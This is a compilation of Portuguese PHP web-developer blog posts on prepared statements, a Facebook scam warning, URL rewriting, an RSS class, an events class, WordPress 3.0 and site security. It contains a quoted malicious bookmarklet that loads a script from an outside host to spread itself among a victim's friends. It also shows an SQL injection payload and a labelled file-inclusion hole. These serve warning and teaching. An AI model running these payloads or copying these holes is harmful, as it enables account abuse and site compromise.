É muito comum quando se estuda uma linguagem não se dar principal foco ao desenvolvimento em segurança, mas este, em ambientes de produção é um dos factores decisivos do sucesso de uma aplicação e da confiança por parte dos utilizadores.
Neste artigo vai ser abordada uma forma de defesa relativa a possíveis ataques de SQL Injection em PHP utilizando o SGDB MySQL, e com recurso a Prepared Statements.

Existe suporte oficial a várias bases de dados: CUBRID, MS SQL Server, Firebird/Interbase, IBM, Informix, MySQL, MS SQL Server, Oracle, ODBC e DB2, PostgreSQL, SQLite, 4D [print_r(PDO::getAvailableDrivers());]

Vantagens e Desvantagens

Vantagens:
i. Previne SQL Injection
ii. Melhora a performance (pode só ser notado quando usado em grandes plataformas)
iii. Mais simples de escrever e ler

Desvantagens e Limitações:
i. Limitado a: SELECT, INSERT, UPDATE, REPLACE, DELETE, e CREATE TABLE
ii. Placeholders apenas para valores e nunca para nomes de tabelas ou colunas
iii. Quando precisamos de utilizar o método bind_result no escopo de uma classe e não sabemos à partida quantas variáveis vão ser passadas. Problema analisado por Jeffrey Way @ NetTuts (http://net.tutsplus.com/tutorials/php/the-problem-with-phps-prepared-statements/)

addslashes vs mysql_real_escape_string vs Prepared Statements

As funções addslashes e mysql_real_escape_string não serão objecto de estudo neste artigo, será apenas faladas as vulnerabilidades que não acontecem com o uso de Prepared Statements de modo a mostrar que esta última alternativa é de facto a mais segura.

O Chris Shiflett (http://shiflett.org/archive/184) já analisou as vulnerabilidades das addslashes relativas ao abuso de caracteres multibyte.

A função mysql_real_escape_string não é muito diferente da addslashes ao nível do tipo de vulnerabilidade, na verdade a sua vantagem reside mesmo em ter em conta o character set a ser utilizado conseguindo determinar como analisar a informção passada. Contudo continuam a existir vulnerabilidades, por exemplo com a utilização da codificação GBK e da sequ?ncia 0xbf27 (¿’) que passada nesta função não terá o resultado pretendido de ¿\’ . (POC http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html )

Prepared Statements em Uso

Vejamos então um exemplo bastante simples…

$login = $_GET['login']
$query = "SELECT * FROM registos WHERE login = '$login'";

em que /?login=’ OR 1′;

Assim sendo
A query ficará algo do género:

$query = "SELECT * FROM registos WHERE login = '' OR 1";

O que resultaria num retorno de todas as informações da base de dados.

Se neste caso especifico fosse utilizado o método de destaque deste artigo: Prepared Statements, teriamos de colocar um placeholder (para marcar o local onde serão inseridos os dados a introduzir / consultar na base de dados, isto faz com que nos locais onde estão colocados os placeholders não sejam feitos pedidos à base de dados ou alteração ao pedido em questão. É aqui que reside a força deste método.

Existem duas formas de usar placeholders tal como referido no Manual do PHP.net

Forma #1:

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

Forma #2:

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);

Voltando então ao exemplo anterior, a nossa expressão seria então:

$query = "SELECT * FROM registos WHERE login = ?";

Nota: Apesar da extensão MySQLi também suportar prepared statements é aconselhável a utilização da extensão PDO (PHP Data Objects)

$login = "joaoppereira";
$query = "SELECT * FROM registos WHERE login = ?";
 
$stmt = $pdo->prepare($query); 
$stmt->bindValue(1, $login, PDO::PARAM_STR);
$ok = $stmt->execute();
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);

A função bindValue dos PDOStatement permite simples validações de tipo de dados no terceiro parâmetro da função bindValue(parametro, valor, tipo_dado), com as seguintes opções:

- PDO::PARAM_STR
- PDO::PARAM_INT
- PDO::PARAM_BOOL
- PDO::PARAM_NULL

Este foi só um artigo introdutório a este tema, existe agora imenso material no Manual do PHP.net e um pouco por toda a internet relativamente a esta temática para os que quiserem, e bem, aprofundar os conhecimentos relativos a Prepared Statements e PDO.

Bibliografia:

- http://php.net/manual/en/pdo.prepared-statements.php
- http://www.php.net/manual/en/class.pdostatement.php
- http://www.php.net/manual/en/pdo.constants.php
- http://www.php.net/manual/en/pdo.drivers.php
- http://net.tutsplus.com/tutorials/php/the-problem-with-phps-prepared-statements/

Para quem não reparou ainda há a circular uma praga no Facebook que utiliza o motivo de permitir ver quem visita o perfil !

Esta página incita o utilizador executar o seguinte código no browser tendo a página do facebook aberta.

javascript:(a=(b=document).createElement('script')).src='//bbbindia4.in/jsp.php',b.body.appendChild(a);void(0)

Este código simplesmente adiciona o código presente na página bbindia4.in/jsp.php à página do facebook. (em anexo  no fim do post)

Este ficheiro contém código JavaScript que vai criar um novo evento e convidar todos os amigos, vai ainda abrir uma conversa de chat e colocar uma mensagem com o link para o contacto em questão também sofrer o mesmo “ataque” e vai colocar uma mensagem no próprio Mural com números aleatórios e nomes de contactos aleatórios como se fossem as pessoas que mais vêm o perfil !

Isto apenas volta a mostrar que por mais segura que uma página seja os utilizadores podem ser sempre enganados tornando a página insegura !

Stay safe.

Anexo: jsp.php.txt

Sábado passado foi dia de Hackaton em HTML5 organizada pela malta da GTUG Portugal que trouxeram ao Maus Hábitos, Porto o Paul Kinlan !

A parte da manhã passou-se com uma excelente apresentação de potencialidades do HTML5 ! Canvas, Drag&Drop, WebSockets, Server-Sent actions, API’s, etc., etc., etc.

Foi uma cena brutal mesmo!

Houve Coffee Break’s e pausa para Almoço, tudo oferecido pela Google e esteve tudo muito bem !

Depois de almoço, a parte da tarde foi dedicada ao desenvolvimento de aplicaçõe sem HTML5, eu desenvolvi com o Tiago Boldt um pequeno chat, já agora Tiago acho que podíamos continuar com a ideia e fazer algo mais avançado e quem sabe depois fazer um release ! Deixo-te aqui a ideia ! Durante a parte da tarde ainda tivemos a oportunidade de ouvir um jovem pianista tocar para nós durante os momentos de bater código, o nome dele é Luís Pereira e é meu irmão.

Foi sem dúvida uma excelente experiência e ficou um repto no final. Sugerir talks para um próximo encontro no Porto! Eu vou pensar no assunto e quem sabe não envio um e-mail ao pessoal da GTUG Portuguesa!

O URL Rewriting ganhou muitos adeptos quando surgiu a moda das SEO (Search Engine Optimization) e das USO (User Scan Optimization) de forma a tornar as ligações de mais fácil leitura e percepção do seu conteúdo quer para os Motores de Pesquisa quer para o scan que o nosso cérebro faz quando olha para uma ligação, e é normalmente com este intuito que é utilizado.

Contudo, é possível utilizar URL Rewriting para melhorar a segurança do seu site.

ATENÇÃO: Não é seguro confiar neste método para a obtenção de um site seguro, este é apenas um método possível de obfuscação, isto é, para tornar mais dificil de perceber onde poderão estar as falhas, principalmente para ferramentas automáticas de pentesting!

Imaginemos o seguinte URL:

http://exemplo.pt/pagina.php?id=13&titulo=AppVulneravel

Uma ferramenta automática de SQL Injection fazia parsing do URL e detectava dois parâmetros com dois valores: ( id => 13, titulo => ‘AppVulneravel’ ) .

Utilizando o seguinte ficheiro .htaccess:

# Turn on URL rewriting
RewriteEngine On
 
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
 
RewriteRule ^pagina/(.+)/(.+) pagina.php?id=$1&titulo=$2 [PT,L]

Já podíamos chamar a mesma página da seguinte forma:

http://exemplo.pt/pagina/13/AppVulneravel

A mesma ferramenta automática mais dificilmente chegaria a verificar se 13 e AppVulneravel não eram directórios e estávamos a trabalhar no index desse directório.

Neste caso, um olhar sobre o URL e percebia-se que estava a ser usado URL Rewriting e podia-se tentar explorar vulnerabilidades a partir desses parâmetros e/ou configurado uma ferramenta para fazer os testes correctamente tendo em conta essa informação.

Mas um outro exemplo:

pagina.php

include($_GET['file'].'.php'); // ATENÇÃO: Este código é altamente inseguro! Só para fins demonstrativos!

Tirando partido do código anterior podíamos ter os seguintes URLs:

http://exemplo.pt/index

http://exemplo.pt/about

Sem conhecer o site em questão eu diria que teriam um ficheiro .htaccess semelhante a este:

# Turn on URL rewriting
RewriteEngine On
 
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
 
RewriteRule ^(home)$ index.php [PT,L]
RewriteRule ^(about)$ about.php [PT,L]

Contudo, neste contexto, seria algo mais como:

# Turn on URL rewriting
RewriteEngine On
 
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
 
RewriteRule ^(.+) pagina.php?file=$1 [PT,L]

Conclusão

Podemos ver que este método é excelente para dificultar a tarefa a script kiddies e crackers com ferramentas de crawling com pesquisa de vulnerabilidades, pode também diminuir os pontos de teste de possíveis atacantes, como é mostrado neste último exemplo. No entanto, é preciso ter em muita atenção o que já referi anteriormente: Não é seguro confiar neste método para a obtenção de um site seguro, este é apenas um método possível de obfuscação, isto é, para tornar mais dificil de perceber onde poderão estar as falhas, principalmente para ferramentas automáticas de pentesting!

É triste o estado de descuido em que se encontram a maior parte dos WebSites nacionais… Não falo ao nível de organização, acessibilidade, usabilidade, design… mas sim ao nível da segurança, ou melhor, à falta dela…

Navegar por sites de grandes empresas, de universidades e respectivas faculdades, de sites governamentais, etc. aleatoriamente é quase como encontrar a cada clique um potencial alvo de ataque, quer ao site em si só para fazer defaces estúpidos, quer para atacar os seus visitantes ou para roubar dados e bases de dados importantes.

Porquê que isto acontece ? Porque é que não há cuidado em aplicar filtros nos formulários e nas querys que são feitas client-side  ? Existem já filtros desenvolvidos, open-source, que podiam ser aplicados rapidamente aquando do processo de desenvolvimento e que mais ou menos eficientes já eram algo melhor do que nada!! Não custava nem uma hora no desenvolvimento final de um website, e para empresas cujo negócio é o desenvolvimento de soluções web à medida para grandes entidades é inadmissível nunca se terem preocupado em criar uma solução por mais simples que fosse para aplicar a todos os seus trabalhos…

Depois há sempre os bons da fita que quando se apercebem de alguma coisa avisam os developers do site em questão e tentam ajudar. Quando isto acontece existem três tipos de empresas / pessoas:
- não ligam nenhum à sugestão dada e o site continua vulnerável
- ameaçam a pessoa que os está a alertar de lhes pôr um processo em cima (aqui ainda não percebi se é com medo que se peça dinheiro ou que fale com o cliente afectado)
- agradecem a sugestão, corrigem o erro e em alguns casos oferecem recompensas (dinheiro, serviços e até empregos)

Eu pessoalmente já tive estas experiências e desde que as minhas boas intenções foram levadas a mal e fui ameaçado por uma grande empresa portuguesa de desenvolvimento web que deixei de me interessar por ajudar.

Depois claro que aparecem sempre problemas com bases de dados com informações confidenciais roubadas, session hijacking, ou os famosos defaces.

Vamos lá pessoal, não é nada de impossível, é só preciso querer. Com o mínimo de cuidado podem ser evitadas muitas situações embaraçosas para vocês, para os vossos clientes e para o público alvo dos vossos clientes.

Imagem de http://www.fireblog.com/

English Version | Versão Portuguesa

It’s been a while since I’ve planned on developing a new platform for my work as Web Developer, and next to all Web Developers, and I started to develop some modules and this RSS Generator Class born to fulfill my needs.

Supported versions:
RSS 2.0

Download:
Download it

Features:
Generates RSS 2.0 feeds
All feeds are validated by feed validator
Supports all feed elements
Simple & easy to define channel proprieties
Simple & easy to define item elements
Enables usage of sub-tags and attributes

Example

It’s a minimum “how to” example needed to understand how to use this class. It’s part of the download package.

include( "feed.php" );
 
	//Create a new Feed
	$feed = new Feed( );
 
	//Setting the channel elements
	//Helper -> http://www.rssboard.org/rss-specification
	$feed->setFeedTitle( 'Demo - RSS Generator Class' );
	$feed->setFeedLink( 'http://joaopedropereira.com/blog/rss' );
	$feed->setFeedDesc( 'This is demo of generating a RSS feed. ONLY RSS Version 2.0 Supported' );
	$feed->setFeedImage( 'Oh, my photo...', 'http://joaopedropereira.com/projects/rss_gen', 'http://s3.amazonaws.com/twitter_production/profile_images/63969619/imagemresized.jpg' );
 
	//Is possible to use setChannelElm() function for setting other optional channel elements
	$feed->setChannelElm( 'language', 'en-us' );
 
	//Create a new Item
	$item1 = new Item( );
 
	//Setting the Item elements
	//Helper -> http://www.rssboard.org/rss-specification
	$item1->setItemTitle( 'Item nº 1' );
	$item1->setItemLink( 'http://joaopedropereira.com' );
	$item1->setItemDate( time( ) );
	$item1->setItemDesc( 'Bla, bla, bla, item nº 1.' );
	$item1->setItemEnclosure( 'http://www.beardodisco.com/beatelectric/music/Loverboy12Mix.mp3', '17121349', 'audio/mpeg' );
	$item1->setItemAuthor( 'contacto@joaopedropereira.com (João Pedro Pereira)' );
	//As in Channel is possible to use setItemElm() function for setting other optional item elements
 
	//Create another Item
	$item2 = new Item( 'Item nº 2', 'http://twitter.com/joaoppereira', 'Bla, bla, bla, twitter of the owner of the blog of a webdeveloper' );
 
	$item2->setItemDate( time( ) );
	$item2->setItemAuthor( 'contacto@joaopedropereira.com (João Pedro Pereira)' );
 
	//Adding both created items
	$feed->addItem( $item1 );
	$feed->addItem( $item2 );
 
	//Now we're ready to generate the Feed, Awesome!
	$feed->genFeed( );

Download | Demo

Download | Demo

EDIT

HOT NEWS, PHP XML-RSS Feed Generator Was Accepted on PHPClasses.org!!

Há já algum tempo que pretendo desenvolver uma nova plataforma para o meu trabalho como Web Developer, e numa fase posterior abrir como serviço para todos os Web Developers, e por isso comecei a desenvolver alguns módulos para essa plataforma, trabalho que deu, entre outros, no módulo de RSS Feed’s surgindo assim a RSS Generator Class para satisfazer as necessidades.

Versões Suportadas:
RSS 2.0

Download:
Download it

Funcionalidades:
Gera RSS Feeds versão 2.0
As feeds são válidas conforme o feed validator
Suporta todos os elementos quer dos channel’s quer dos item’s
É simples definir as propriedades do channel
É simples definir as propriedades dos items

É possível utilizar sub-tags e atributos

Exemplo

Um pequeno exemplo que mostra como se pode fazer uso desta classe. Faz parte do pacote disponível para download.

include( "feed.php" );
 
	//Create a new Feed
	$feed = new Feed( );
 
	//Setting the channel elements
	//Helper -> http://www.rssboard.org/rss-specification
	$feed->setFeedTitle( 'Demo - RSS Generator Class' );
	$feed->setFeedLink( 'http://joaopedropereira.com/blog/rss' );
	$feed->setFeedDesc( 'This is demo of generating a RSS feed. ONLY RSS Version 2.0 Supported' );
	$feed->setFeedImage( 'Oh, my photo...', 'http://joaopedropereira.com/projects/rss_gen', 'http://s3.amazonaws.com/twitter_production/profile_images/63969619/imagemresized.jpg' );
 
	//Is possible to use setChannelElm() function for setting other optional channel elements
	$feed->setChannelElm( 'language', 'en-us' );
 
	//Create a new Item
	$item1 = new Item( );
 
	//Setting the Item elements
	//Helper -> http://www.rssboard.org/rss-specification
	$item1->setItemTitle( 'Item nº 1' );
	$item1->setItemLink( 'http://joaopedropereira.com' );
	$item1->setItemDate( time( ) );
	$item1->setItemDesc( 'Bla, bla, bla, item nº 1.' );
	$item1->setItemEnclosure( 'http://www.beardodisco.com/beatelectric/music/Loverboy12Mix.mp3', '17121349', 'audio/mpeg' );
	$item1->setItemAuthor( 'contacto@joaopedropereira.com (João Pedro Pereira)' );
	//As in Channel is possible to use setItemElm() function for setting other optional item elements
 
	//Create another Item
	$item2 = new Item( 'Item nº 2', 'http://twitter.com/joaoppereira', 'Bla, bla, bla, twitter of the owner of the blog of a webdeveloper' );
 
	$item2->setItemDate( time( ) );
	$item2->setItemAuthor( 'contacto@joaopedropereira.com (João Pedro Pereira)' );
 
	//Adding both created items
	$feed->addItem( $item1 );
	$feed->addItem( $item2 );
 
	//Now we're ready to generate the Feed, Awesome!
	$feed->genFeed( );

Download | Demo

EDIT

HOT NEWS, PHP XML-RSS Feed Generator foi aceite no PHPClasses.org!!

O PHP-SimpleEventsSystem é uma simples classe em PHP que permite a qualquer programador criar uma aplicação orientada a eventos em PHP. Sendo assim, esta classe possibilita a criação mais facilmente de aplicações web com possibilidade de adicionar plugins, sem que estes tenham de mexer com o código interno da aplicação, permite que uma framework use internamente a classe PHP-SES e melhorando consideravelmente a interacção entre a framework e a aplicação. Mas permite muito mais, permite até onde a sua imaginação chegar.

Basic Overview

Quem quiser ver a documentação completa da framework, pode aceder aqui. No entanto, aqui vai ficar uma explicação da classe e de como ela funciona, que é bastante simples.

A classe cria um array multi-dimensional onde guarda as funções e o respectivo evento a que elas foram anexadas. Sempre que se anexa uma função, a classe pode ou não verificar se a função existe, conforme os parâmetros que o programador introduzir. Se passar nesse teste, verifica se a função já está anexada a esse mesmo evento, e só depois anexa a função (as funções caso seja um array).

Ao executar-mos um determinado evento, a classe verifica se este existe, e em caso afirmativo, percorre o array com as funções anexadas a esse evento, e executa-as a todas pela ordem com que forma anexadas. Caso a opção Auto_run esteja activa, a função vai ainda percorrer todas as funções definidas pelo utilizador (programador da aplicação, utilizador da classe entenda-se) e verifica se alguma coincide com a formatação obrigatória e com o nome do evento em questão (um_nome_qualquer_handles_nome_do_evento). Se essa função já estiver anexada ao array, e por consequente já tiver sido executada, a classe não a executa novamente. Se ainda não estiver anexada, a classe executa-a e, caso a opção Auto_index esteja activa, indexa a função ao array do respectivo evento.

Sugestões de sintaxe dos nomes dos eventos

Numa aplicação de grandes dimensões torna-se importante a sintaxe que usamos e a forma como organizamos os nomes dos eventos, para que não existam conflitos e seja mais fácil memorizar o grande número de eventos que uma aplicação possa ter. Para isso os nomes dos eventos necessitam de ter lógica, e apesar de serem um pouco compridos, serão óbvios. Primeiro teremos de ter em conta algumas considerações.
Os nomes dos eventos podem conter qualquer carácter, incluindo pontos, que podem servir de separador entre as várias “secções virtuais” do nome do evento. No entanto nomes de eventos com pontos não serão possíveis de aceder através da funcionalidade Auto-Index e Auto-Run pois as funções não suportam, obviamente, este tipo de caracteres no seu nome. Assim sendo, sugiro o uso do underscore como separador.
Em todas as aplicações há uma “secção” que deve existir em todos os eventos, que indica se o evento retrata alguma acção em PHP ou HTML. Ou seja, e apesar de todas as instruções em código PHP sejam de PHP, poderão existir eventos que retratam a impressão de texto para o browser, e assim sendo, o nome do evento deve começar por html_, senão, caso retratem acções PHP, como uma conexão a uma Base de Dados, a leitura de um ficheiro, o fim de um ciclo, a execução de uma qualquer estrutura de controlo, etc., deverão começar por php_.
Para a secção de HTML, podemos ainda destinguir se nos estamos a referir a alguma parte genérica do HTML, como por exemplo, um menu, que seja constituído por vários elementos HTML, deve-se adicionar um generic_ a seguir ao html_, ou seja, ficaria html_generic_menu, por exemplo.
Caso seja em PHP, deve-se adicionar o nome da “categoria” da acção que se está a utilizar. Por exemplo se for uma acção qualquer relacionada com a base de dados MySQL, como inserir um registo, coloca-se o mysq_ depois do php_, ficando, por exemplo, php_mysql_query_insert_user.

Nota: Isto é apenas um exemplo de nomenclatura dos eventos, nada de obrigatório.

Exemplos e Demos

Plugins

Actualmente, é quase obrigatório qualquer aplicação, seja ela Web ou Desktop, suportar plugins. Só que isto é muitas vezes uma fonte de dor de cabeça para quem programa em PHP, criar um sistema versátil suficiente para suportar plugins. O PHP-SES permite a criação de Aplicações Web que facilmente suportam plugins. Vamos ver o seguinte exemplo.

require("..\..\Events.php");
 
//Inicia a configuração
Events::setConf("Auto_run", true);
Events::setConf("Auto_index", true);
 
//Carrega os nomes ficheiros dos plugins.
$plugins = scandir("plugins");
 
//Percorre o array com todos os ficheiros de plugins
foreach ($plugins as $index=> $file_name){
        //Verifica se o index actual é um ficheiro e não uma pasta
        if (is_file("plugins/".$file_name)){
                //Inclui e executa o plugin
                require("plugins/".$file_name);
                //Por uma questão de segurança e para não comprometer o funcionamento da aplicação
                //Depois de se carregar um plugin deve-se sempre habilitar a classe
                //Para não se dar o caso de algum plugin a desabilitar e não a habilitar novamente.
                Events::Enable();
        }
}
 
 
echo '< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8856-16" />';
        //Declara uma variável que permitirá adicionar conteúdo dentro dos plugins para a página
        $content = "";
        //Corre todos os eventos anexados para quando os headers HTML são mostrados
        //Esta é apenas um exemplo da sintaxe para o nome dos eventos.
        Events::Run("html_headers");
        echo $content;
        echo '<title>';
 
        $content = "PHP-SES Plugins Example";
 
        Events::Run("html_show_title");
        echo $content.'</title>
</head><body>';
 
echo "<h1>Título</h1>";
 
$content = "<a href=\"#\">Link1</a><br />";
//Aqui corre os eventos que permitem alterar o menu
Events::Run("html_generic_body_menu");
 
echo $content;
echo '</body>
</html>
'

JavaScript Events

Muitas vezes torna-se cansativo estar a chamar vários exemplos por AJAX, ou até fazer a verificação no PHP através de QueryStrings. Assim sendo, e com este exemplo aplicado, basta, no evento JavaScript, chamar uma função, JavaScript também, o nome do evento em PHP, e depois é só ir adicionando funções PHP ao código PHP.

index.php

< ?php 
require("..\..\Events.php");
 
?>
< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8856-16" />
        <script type="text/javascript">
        function RunEvent(event_name){
 
                if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
                        xmlhttp=new XMLHttpRequest();
                } else {// code for IE6, IE5
                        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
                }
 
                xmlhttp.onreadystatechange=function(){
                        if (xmlhttp.readyState==4 && xmlhttp.status==200){
                                document.getElementById("count_number").innerHTML=xmlhttp.responseText;
                        }
                }
 
                xmlhttp.open("GET","run.php?event=" + event_name + "",true);
                xmlhttp.send();
        }
        </script>
        <title>JavaScript Buttons Example</title>
        </head>
        <body>
        <input type="button" name="btn_sample" id="btn_sample" onclick="RunEvent('html_buttons_click_btn_sample')"  value="Test me. Click me." />
        <div id="count_number">0</div>
        </body>
        </html>

run.php

 
require("..\..\Events.php");
 
if (!defined(IS_AUTH)){
        exit;
}
 
//Se a variável $_GET["event"] não estiver declarada, termina a execução da página.
if (!isset($_GET["event"])){
        echo "Não foi definido nenhum evento.";
        exit;
}
 
//Define algumas configurações para não ser necessário anexar a função.
Events::setConf("Auto_run", true);
Events::setConf("Auto_index", true);
 
//Declara uma função anexada ao clique do botão
function update_file_handles_html_buttons_click_btn_sample (){
        //Vai buscar o número de clicks que o botão já tem
        $number_clicks = file_get_contents("clicks.txt");
 
        //Escreve outra vez para o ficheiro adicionando um clique
        file_put_contents("clicks.txt", $number_clicks + 1);
        echo $number_clicks + 1;
}
 
//Corre todos os eventos associados ao clique do botão.
Events::Run($_GET["event"]);

Pode ver os exemplos em funcionamento, aceda aqui.

Ser WebDeveloper não é uma tarefa fácil, não só temos de estar sempre actualizados relativamente ao que o mercado de trabalho exige relativamente a conhecimentos em ferramentas, frameworks e linguagens de programação como também temos de estar em cima dos hot topics na área do WebDesign e Usabilidade.

Construir um site do zero não é uma tarefa simples, pois exige muito planeamento, estruturação e pensamento criativo e ser criativo é muitas vezes uma dor de cabeça pois quando mais precisamos da nossa amiga criatividade ela pode não aparecer… E é preciso saber estimulá-la.

Tenho visto na Web Portuguesa bons sites a desaproveitar algumas áreas do site, e neste artigo vou referir-me ao footer.

Além do típico Acordo de Privacidade e Informações Legais (que é sempre uma boa forma de aproveitar o espaço) existem algum conteúdo especifico que pode e deve ser usado no footer.

Sitemap – É uma excelente forma de utilizar o espaço do footer pois é útil para os visitantes que se encontrem perdidos ou que simplesmente tenham pressa para encontrar o que procuram sem terem de fazer um scanning por todo o conteúdo do site, que pode ser moroso e por consequência pode fazer-nos perder utilizadores e possíveis clientes. Ninguém gosta de não encontrar rapidamente o que procura e cabe-nos a nós dar-lhes o que desejam.

Informação de Contacto - É também muito importante ter informações de como pode ser feito o contacto com o dono do site ou então criar um formulário de contacto para facilitar o contacto.

Ferramentas e Inspiração:
15 Great Online Form Building Tools
Beautiful Contact Forms For Your Inspiration

Sobre – A par da informação de contacto, uma rápida descrição do que é aquela página, quem é a empresa, quem é a pessoa, etc. algo que faça os utilizadores conhecer melhor.

Social Media –  É sem dúvida uma excelente forma de ganhar mais tráfego e/ou de manter os utilizadores actualizados quanto a informações relativos ao produto/conteúdo que o site tem ou vende.

Esta é uma lista de sugestões do que pode ser colocado no footer dos seus sites e dos sites que desenvolve, contudo a lista não termina por aqui existem muito mais coisas que podem ser colocados no footer, feed do Flickr com imagens interessantes, publicidade, formulários para subscrever a newsletters, feeds do twitter e/ou facebook, etc. etc. etc. Apenas a imaginação e originalidade de cada um é o limite.

É provavelmente ainda um bocado cedo para falar do WordPress 3.0 pois o lançamento desta só está previsto para finais de Maio, mas tenho vindo a brincar um pouco com ele  e com as suas novas funcionalidades.

A versão 3.0 do WordPress promete um visual mais soft da página de administração, vai também introduzir uma nova default theme, a “Twenty Ten”, que permite personalizar o fundo e as opções do cabeçalho ( header ), possibilidade de criar os menus com categorias, tags, posts, links externos, etc., entre outras modificações que podem ver na página oficial.

Neste post vou dar realce a apenas duas características que surgirão na versão 3.0 do WordPress, ou pelo menos que estão prevista e que estão em desenvolvimento.

WordPress + WordPress MU == WordPress 3.0

O WordPress MU ou WordPress Multi-User era uma versão modificada do sistema WordPress para permitir redes de blogs numa só instalação.

Site: http://mu.wordpress.org

Create a Network of Multiple Sites on WordPress 3.0

É tão simples como adicionar no ficheiro wp-config.php a seguinte linha:

define ('WP_ALLOW_MULTISITE', true);

Seleccionar o menu Tools -> Network e seguir as instruções.

Este é o menu que vos espera depois de tudo configurado.

Ver artigo: http://codex.wordpress.org/User:Andrea/Create_A_Network

Custom Post Types on WordPress 3.0

Quem já teve de desenvolver uma theme para WordPress um pouco mais complexo provavelmente já teve de fazer uns quantos hacks de forma a conseguir ter estilos diferentes para categorias diferentes… Os developers do WordPress pensaram em nós e decidiram tornar a possibilidade de ter vários estilos para diferentes tipos de posts de uma forma mais simples na versão 3.0 do WordPress.

Para tirar partido desta funcionalidade é necessário adicionar o seguinte código no ficheiro wp-content/themes/yourtheme/functions.php :

register_post_type('testemunials', array(
    'label' => __('Testemunials'),
    'singular_label' => __('Testemunial'),
    'description' => 'Here goes my testemunials',
    'public' => true,
    'show_ui' => true,
    'capability_type' => 'post',
    'hierarchical' => false,
    'rewrite' => false,
    'query_var' => false,
    'supports' => array(
        'title',
        'editor',
        'author',
        'excerpts',
        'comments'
    )
));

Tal como é possível definir vários tipos de posts também é possível utilizar esta funcionalidade para páginas diferentes alterando o parâmetro ‘capability_type’ para ‘capability_type’=>’page’.

Function Reference/register post type: http://codex.wordpress.org/Function_Reference/register_post_type

Para cada projecto que tenho desenvolvido ultimamente utilizando a linguagem de programação server-side PHP, tenho-me guiado por uma checklist de forma a não me esquecer  de nada evitando assim falhas graves nas aplicações que desenvolvo. Pois a segurança é uma das preocupações que tenho.

Esta checklist aborda diversas situações como, casos gerais, casos de input, file uploads, autenticação, entre outros.

Click on image to download

Recomendo vivamente a sua utilização e até sugestões de melhorias, apesar de ela não ser da minha autoria.

O que acham desta checklist? Conhecem alguma melhor? Como se guiam no desenvolvimento de aplicações web de forma  a manter a segurança da mesma?